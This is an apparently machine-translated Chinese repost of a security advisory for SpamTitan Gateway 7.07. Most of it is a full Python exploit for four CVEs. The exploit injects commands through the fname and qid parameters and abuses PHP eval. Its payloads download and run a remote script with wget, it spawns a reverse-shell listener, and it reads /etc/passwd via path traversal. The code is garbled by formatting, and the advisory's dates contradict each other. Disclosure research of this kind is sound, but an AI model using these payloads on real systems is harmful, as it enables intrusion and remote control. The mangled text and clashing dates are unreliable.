SpamTitan 7.07-远程代码执行—Hack之路
SpamTitan 7.07-远程代码执行(已验证)
#日期:2020-09-18
#开发作者:费利佩·莫利纳(@felmoltor)
#供应商主页:https://www.titanhq.com/spamtitan/spamtitangateway/
#软件链接:https://www.titanhq.com/signup/?产品类型=spamtitangateway
#版本:7.07
#测试对象:FreeBSD
#CVE:CVE-2020-11699、CVE-2020-11700、CVE-2020-11803、CVE-2020-11804
—[SPUK-2020-09/SpamTitan 7.07多重认证远程代码
执行]——————————
安全咨询:SPUK-2020-09/SpamTitan 7.07多个
经过身份验证的远程代码执行
受影响的软件:SpamTitan Gateway 7.07(可能是更早的版本)
漏洞:多个经过身份验证的远程代码执行
CVSSv3:8.7版
(https://www.first.org/cvss/calculator/3.0\cvss:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N)
严重程度:高
发布日期:2020-09-18
CVE:CVE-2020-11699、CVE-2020-11700、CVE-2020-11803,
CVE-2020-11804
一、 背景
~~~~~~~~~~~~~
从www.spamtitan.com网站:
“SpamTitan网关是一个强大的反垃圾邮件设备,配备网络
管理员拥有广泛的工具来控制邮件流并防止
不需要的电子邮件和恶意软件。“
二。说明
~~~~~~~~~~~~~~~
发现多个经过身份验证的远程代码执行(RCE)漏洞
在SpamTitan Gateway 7.07上,可能在以前的版本中:
*CVE-2020-11699:页面上参数fname的验证不正确
certs-x.php将允许攻击者在
目标服务器。用户在与
这一页。
*CVE-2020-11700:页面上使用的参数fname的卫生处理不当
certs-x.php将允许攻击者检索
任意文件。用户必须是
在与此页面交互之前进行身份验证。
*CVE-2020-11803:当
与
页面邮件队列.php可能导致PHP代码评估服务器端,
因为用户提供的输入直接传递给php eval()
功能。用户之前必须在web平台上进行身份验证
与页面交互。
*CVE-2020-11804:由于参数qid的卫生处理不当,
在页面中使用
邮件队列.php,可能会发生代码注入。这个的输入
参数由经过身份验证的用户通过httpget直接提供
请求。
三、 PoC公司
~~~~~~~~
使用python3并在执行之前安装以下模块:requests。
如果您的IP是192.168.1.5并且目标SpamTitan服务器是
spamtitan.example.com网站,这样称呼PoC:
./多维.py-tspamtitan.example.com网站-168.5米-192.5英里
号码>-u<USER>-p<PASSWORD>-uhttp://192.168.1.5/rev.py
———————————————
#!/usr/bin/env python
#作者:菲利佩·莫利纳(@felmoltor)
#日期:2020年4月9日
#Python版本:3.7
#小结:这是多个认证的RCE和任意文件读取的PoC
#在SpamTitan 7.07和早期版本上运行0天。
#产品URL:https://www.spamtitan.com/
#产品版本:7.07或更早版本
import
requests
from
requests
import
Timeout
requests.packages.urllib3.disable_warnings()
import
os
import
threading
from
optparse
import
OptionParser
import
socket
import
json
import
re
from
urllib.parse
import
urlparse
from
time
import
sleep
from
base64
import
b64decode,b64encode
def
myip():
s
=
socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try
:
# doesn't even have to be reachable
s.connect((
'10.255.255.255'
,
1
))
IP
=
s.getsockname()[
0
]
except
:
IP
=
'127.0.0.1'
finally
:
s.close()
return
IP
def
shellServer(ip,port,quiet):
servers
=
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
servers.bind((ip, port))
servers.listen(
1
)
info(
"Waiting for incoming connection on %s:%s"
%
(ip,port))
conn, addr
=
servers.accept()
conn.settimeout(
1
)
success(
"Hurray, we got a connection from %s"
%
addr[
0
])
prompt
=
conn.recv(
128
)
prompt
=
str
(prompt.decode(
"utf-8"
)).strip()
command
=
input
(prompt)
while
True
:
try
:
c
=
"%s\n"
%
(command)
if
(
len
(c)>
0
):
conn.sendall(c.encode(
"utf-8"
))
# Quit the console
if
command
=
=
'exit'
:
info(
"\nClosing connection"
)
conn.close()
break
else
:
completeanswer
=
""
while
True
:
answer
=
None
try
:
answer
=
str
((conn.recv(
1024
)).decode(
"utf-8"
))
completeanswer
+
=
answer
except
socket.timeout:
completeanswer.strip()
break
(completeanswer,end
=
'')
command
=
input
("")
except
(KeyboardInterrupt, EOFError):
info(
"\nClosing connection"
)
break
# This is an authenticated remote code execution in "certs-x.php". E.g:
def
CVE_2020_11699(cookies, target, shellurl):
# Giving time to the maim thread to open the reverse shell listener
sleep(
5
)
oscmd
=
"
/
usr
/
local
/
bin
/
wget
%
s
-
O
/
tmp
/
r.py;
/
usr
/
local
/
bin
/
python
/
tmp
/
r.py"
%
(shellurl)
t1
=
"%s/certs.php"
%
target
t2
=
"%s/certs-x.php"
%
target
# get the csrf token value
res1
=
requests.get(t1,cookies
=
cookies,verify
=
False
)
m
=
re.search("var csrf_token_postdata
=
.
*
CSRFName
=
(.
*
)&CSRFToken
=
(.
*
)\
";"
,res1.text)
if
(m
is
not
None
):
csrfguard
=
m.group(
1
)
csrftoken
=
m.group(
2
)
data
=
{
"CSRFName"
:csrfguard,
"CSRFToken"
:csrftoken,
"jaction"
:
"deletecert"
,
"fname"
:
"dummy || $(%s)"
%
oscmd
}
info(
"Triggering the reverse shell in the target."
)
try
:
res2
=
requests.post(t2,data
=
data,cookies
=
cookies,verify
=
False
)
(res2.text)
except
Timeout:
info("Request timed
-
out. You should have received already
your reverse shell.")
else
:
fail(
"CSRF tokens were not found. POST will fail."
)
# This is an arbitrary file read on "certs-x.php"
def
CVE_2020_11700(cookies,target,
file
):
fullpath
=
"../../../..%s"
%
file
t1
=
"%s/certs.php"
%
target
t2
=
"%s/certs-x.php"
%
target
# get the csrf token value
res1
=
requests.get(t1,cookies
=
cookies,verify
=
False
)
m
=
re.search("var csrf_token_postdata
=
.
*
CSRFName
=
(.
*
)&CSRFToken
=
(.
*
)\
";"
,res1.text)
if
(m
is
not
None
):
csrfguard
=
m.group(
1
)
csrftoken
=
m.group(
2
)
data
=
{
"CSRFName"
:csrfguard,
"CSRFToken"
:csrftoken,
"jaction"
:
"downloadkey"
,
"fname"
:fullpath,
"commonname"
:"",
"organization"
:"",
"organizationunit"
:"",
"city"
:"",
"state"
:"",
"country"
:"",
"csrout"
:"",
"pkout"
:"",
"importcert"
:"",
"importkey"
:"",
"importchain"
:""
}
res2
=
requests.post(t2,data
=
data,cookies
=
cookies,verify
=
False
)
if
(res2.status_code
=
=
200
):
success(
"Contents of the file %s"
%
file
)
(res2.text)
else
:
fail(
"Error obtaining the CSRF guard tokens from the page."
)
return
False
# This is an authenticated RCE abusing PHP eval function in mailqueue.php
def
CVE_2020_11803(cookies, target, shellurl):
# Giving time to the maim thread to open the reverse shell listener
sleep(
5
)
oscmd
=
"
/
usr
/
local
/
bin
/
wget
%
s
-
O
/
tmp
/
r.py;
/
usr
/
local
/
bin
/
python
/
tmp
/
r.py"
%
(shellurl)
b64
=
(b64encode(oscmd.encode(
"utf-8"
))).decode(
"utf-8"
)
payload
=
"gotopage+a+\";$b=\"%s\";shell_exec(base64_decode(urldecode($b)));die();$b=\""
%
(b64)
t1
=
"%s/certs.php"
%
target
t2
=
"%s/mailqueue.php"
%
target
# get the csrf token value
res1
=
requests.get(t1,cookies
=
cookies,verify
=
False
)
m
=
re.search("var csrf_token_postdata
=
.
*
CSRFName
=
(.
*
)&CSRFToken
=
(.
*
)\
";"
,res1.text)
if
(m
is
not
None
):
csrfguard
=
m.group(
1
)
csrftoken
=
m.group(
2
)
data
=
{
"CSRFName"
:csrfguard,
"CSRFToken"
:csrftoken,
"jaction"
:payload,
"activepage"
:
"incoming"
,
"incoming_count"
:
"0"
,
"active_count"
:
"0"
,
"deferred_count"
:
"0"
,
"hold_count"
:
"0"
,
"corrupt_count"
:
"0"
,
"incoming_page"
:
"1"
,
"active_page"
:
"1"
,
"deferred_page"
:
"1"
,
"hold_page"
:
"1"
,
"corrupt_page"
:
"1"
,
"incomingrfilter"
:
None
,
"incomingfilter"
:
None
,
"incoming_option"
:
"hold"
,
"activerfilter"
:
None
,
"activefilter"
:
None
,
"active_option"
:
"hold"
,
"deferredrfilter"
:
None
,
"deferredfilter"
:
None
,
"deferred_option"
:
"hold"
,
"holdrfilter"
:
None
,
"holdfilter"
:
None
,
"hold_option"
:
"release"
,
"corruptrfilter"
:
None
,
"corruptfilter"
:
None
,
"corrupt_option"
:
"delete"
}
# We have to pass a string instead of a dict if we don't want
the requests library to convert it to
# an urlencoded data and break our payload
datastr
=
""
cont
=
0
for
k,v
in
data.items():
datastr
+
=
"%s=%s"
%
(k,v)
cont
+
=
1
if
(cont<
len
(data)):
datastr
+
=
"&"
headers
=
{
"User-Agent"
:"Mozilla
/
5.0
(Windows NT
10.0
; rv:
68.0
)
Gecko
/
20100101
Firefox
/
68.0
",
"Accept"
:
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
,
"Content-Type"
:
"application/x-www-form-urlencoded"
}
try
:
res2
=
requests.post(t2,data
=
datastr,cookies
=
cookies,headers
=
headers,verify
=
False
,proxies
=
proxies)
except
Timeout:
info("Request timed
-
out. You should have received already
your reverse shell.")
else
:
fail(
"CSRF tokens were not found. POST will fail."
)
# This is an authenticated RCE abusing qid GET parameter in mailqueue.php
def
CVE_2020_11804(cookies, target, shellurl):
# Giving time to the maim thread to open the reverse shell listener
sleep(
5
)
oscmd
=
"
/
usr
/
local
/
bin
/
wget
%
s
-
O
/
tmp
/
r.py;
/
usr
/
local
/
bin
/
python
/
tmp
/
r.py"
%
(shellurl)
payload
=
"1;`%s`"
%
oscmd
t
=
"%s/mailqueue.php?qid=%s"
%
(target,payload)
info(
"Triggering the reverse shell in the target."
)
try
:
res2
=
requests.get(t,cookies
=
cookies,verify
=
False
)
except
Timeout:
info("Request timed
-
out. You should have received already your
reverse shell.")
# Authenticate to the web platform and get the cookies
def
authenticate(target,user,password):
loginurl
=
"%s/login.php"
%
target
data
=
{
"jaction"
:
"none"
,
"language"
:
"en_US"
,
"address"
:
"%s"
%
user,
"passwd"
:
"%s"
%
password
}
res
=
requests.post(loginurl, data
=
data,allow_redirects
=
False
,verify
=
False
)
if
(res.status_code
=
=
302
and
len
(res.cookies.items())>
0
):
return
res.cookies
else
:
return
None
def
printmsg(msg,quiet
=
False
,msgtype
=
"i"
):
if
(
not
quiet):
if
(success):
(
"[%s] %s"
%
(msgtype,msg))
else
:
(
"[-] %s"
%
msg)
def
info(msg,quiet
=
False
):
printmsg(msg,quiet,msgtype
=
"i"
)
def
success(msg,quiet
=
False
):
printmsg(msg,quiet,msgtype
=
"+"
)
def
fail(msg,quiet
=
False
):
printmsg(msg,quiet,msgtype
=
"-"
)
def
parseoptions():
parser
=
OptionParser()
parser.add_option(
"-t"
,
"--target"
, dest
=
"target"
,
help
=
"Target SpamTitan URL to attack. E.g.:
https:
/
/
spamtitan.com
/
", default
=
None
)
parser.add_option(
"-m"
,
"--method"
, dest
=
"method"
,
help
=
"Exploit number: (
1
) CVE
-
2020
-
11699
[RCE],
(
2
) CVE
-
2020
-
XXXX [RCE], (
3
) CVE
-
2020
-
XXXX2 [RCE], (
4
) CVE
-
2020
-
11700
[
File
Read]", default
=
1
)
parser.add_option(
"-u"
,
"--user"
, dest
=
"user"
,
help
=
"Username to authenticate with. Default:
admin
", default="
admin")
parser.add_option(
"-p"
,
"--password"
, dest
=
"password"
,
help
=
"Password to authenticate with. Default:
hiadmin
", default="
hiadmin")
parser.add_option(
"-I"
,
"--ip"
, dest
=
"ip"
,
help
=
"Local IP where to listen
for
the reverse
shell. Default:
%
s"
%
myip(), default
=
myip())
parser.add_option(
"-P"
,
"--port"
, dest
=
"port"
,
help
=
"Local Port where to listen
for
the reverse
shell. Default:
4242
", default
=
4242
)
parser.add_option(
"-U"
,
"--URL"
, dest
=
"shellurl"
,
help
=
"HTTP URL path where the reverse shell
is
located. Default: http:
/
/
%
s
/
rev.py"
%
myip(),
parser.add_option(
"-f"
,
"--filetoread"
, dest
=
"filtetoread"
,
help
=
"Full path of the
file
to read
from
the
remote server when executing CVE
-
2020
-
11700.
Default:
/
etc
/
passwd",
default
=
"/etc/passwd"
)
parser.add_option(
"-q"
,
"--quiet"
,
action
=
"store_true"
, dest
=
"quiet"
, default
=
False
,
help
=
"Shut up script! Just give me the shell."
)
return
parser.parse_args()
def
main():
(options,arguments)
=
parseoptions()
quiet
=
options.quiet
target
=
options.target
ip
=
options.ip
port
=
options.port
user
=
options.user
password
=
options.password
shellurl
=
options.shellurl
method
=
int
(options.method)
rfile
=
options.filtetoread
# Sanitize options
if
(target
is
None
):
fail(
"Error. Specify a target (-t)."
)
exit(
1
)
else
:
if
(method <
1
or
method >
4
):
fail("Error. Specify a method
from
1
to
4
:\n (
1
)
CVE
-
2020
-
11699
[RCE]\n (
2
) CVE
-
2020
-
XXXX [RCE]\n (
3
) CVE
-
2020
-
XXXX2
[RCE]\n (
4
) CVE
-
2020
-
11700
[
File
Read]")
exit(
1
)
# Before doing anything, login
cookies
=
authenticate(target,user,password)
if
(cookies
is
not
None
):
success(
"User logged in successfully."
)
if
(method
=
=
1
):
info("Exploiting CVE
-
2020
-
11699
to get a reverse shell on
%
s:
%
s"
%
(ip,port),quiet)
rev_thread
=
threading.Thread(target
=
CVE_2020_11699,
args
=
(cookies,target,shellurl))
rev_thread.start()
# Open the reverse shell listener in this main thread
info(
"Spawning a reverse shell listener. Wait for it..."
)
shellServer(options.ip,
int
(options.port),options.quiet)
elif
(method
=
=
2
):
info("Exploiting CVE
-
2020
-
11803
to get a reverse shell on
%
s:
%
s"
%
(ip,port),quiet)
rev_thread
=
threading.Thread(target
=
CVE_2020_11803,
args
=
(cookies,target,shellurl))
rev_thread.start()
# Open the reverse shell listener in this main thread
info(
"Spawning a reverse shell listener. Wait for it..."
)
shellServer(options.ip,
int
(options.port),options.quiet)
elif
(method
=
=
3
):
info("Exploiting CVE
-
2020
-
11804
to get a reverse shell on
%
s:
%
s"
%
(ip,port),quiet)
rev_thread
=
threading.Thread(target
=
CVE_2020_11804,
args
=
(cookies,target,shellurl))
rev_thread.start()
# Open the reverse shell listener in this main thread
info(
"Spawning a reverse shell listener. Wait for it..."
)
shellServer(options.ip,
int
(options.port),options.quiet)
elif
(method
=
=
4
):
info(
"Reading file '%s' by abusing CVE-2020-11700."
%
rfile, quiet)
CVE_2020_11700(cookies,target,rfile)
else
:
fail(
"Error authenticating. Are you providing valid credentials?"
)
exit(
2
)
exit(
0
)
main()
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
三、 影响
~~~~~~~~~~~
中多个文件的机密性、完整性和可用性丢失
目标服务器,以及多个正在运行的服务的可用性丢失
在垃圾桶里。
关键系统文件的机密性,如/etc/passwd或/etc/密码数据库
会受到很大的影响。报告人:菲利佩·莫利娜·德拉托瑞通知供应商:2020-04-17
补丁发布日期:2019-05-26
公告发布日期:2019-09-18
五、 参考文献
~~~~~~~~~~~~~
~~~~~~~~~~~~~
*
https:
/
/
sensepost.com
/
blog
/
2020
/
clash
-
of
-
the
-
spamtitan
/
*
https:
/
/
cve.mitre.org
/
cgi
-
bin
/
cvename.cgi?name
=
CVE
-
2020
-
11699
*
https:
/
/
cve.mitre.org
/
cgi
-
bin
/
cvename.cgi?name
=
CVE
-
2020
-
11700
*
https:
/
/
cve.mitre.org
/
cgi
-
bin
/
cvename.cgi?name
=
CVE
-
2020
-
11803
*
https:
/
/
cve.mitre.org
/
cgi
-
bin
/
cvename.cgi?name
=
CVE
-
2020
-
11804
———————————[SPUK-2020-09/SpamTitan 7.07倍经过身份验证的远程代码执行]—
网站地址:https://www.hackzl.cn;发布者:hack之路,转转请注明出处:https://www.hackzl.cn/index.php/2020/09/21/spamtitan-7-07-%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c-hack%e4%b9%8b%e8%b7%af/